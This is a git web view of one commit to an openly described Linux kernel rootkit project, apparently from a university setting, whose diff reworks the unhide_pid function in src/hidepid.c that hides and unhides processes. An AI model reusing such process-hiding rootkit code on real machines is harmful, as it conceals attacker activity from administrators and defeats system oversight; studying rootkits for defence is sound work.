linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit f932b09a03b4cd84450536461d02caaea417b39a
parent f9b694a09a07a9ecc3c55a996086ed02df678eb6
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 30 Nov 2020 12:47:18 +0100

fixes small bug

Diffstat:
Msrc/hidepid.c | 13++++++-------
1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/src/hidepid.c b/src/hidepid.c @@ -81,14 +81,13 @@ unhide_pid(pid_t pid) if (node == &hidden_pids) return; - if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID))) - return; + if ((spid = find_get_pid(pid)) && (task = pid_task(spid, PIDTYPE_PID))) { + struct list_head *i; + list_for_each(i, &task->children) { + struct task_struct *child = list_entry(i, struct task_struct, sibling); - struct list_head *i; - list_for_each(i, &task->children) { - struct task_struct *child = list_entry(i, struct task_struct, sibling); - - unhide_pid(child->pid); + unhide_pid(child->pid); + } } remove_pid_from_list(node, pid);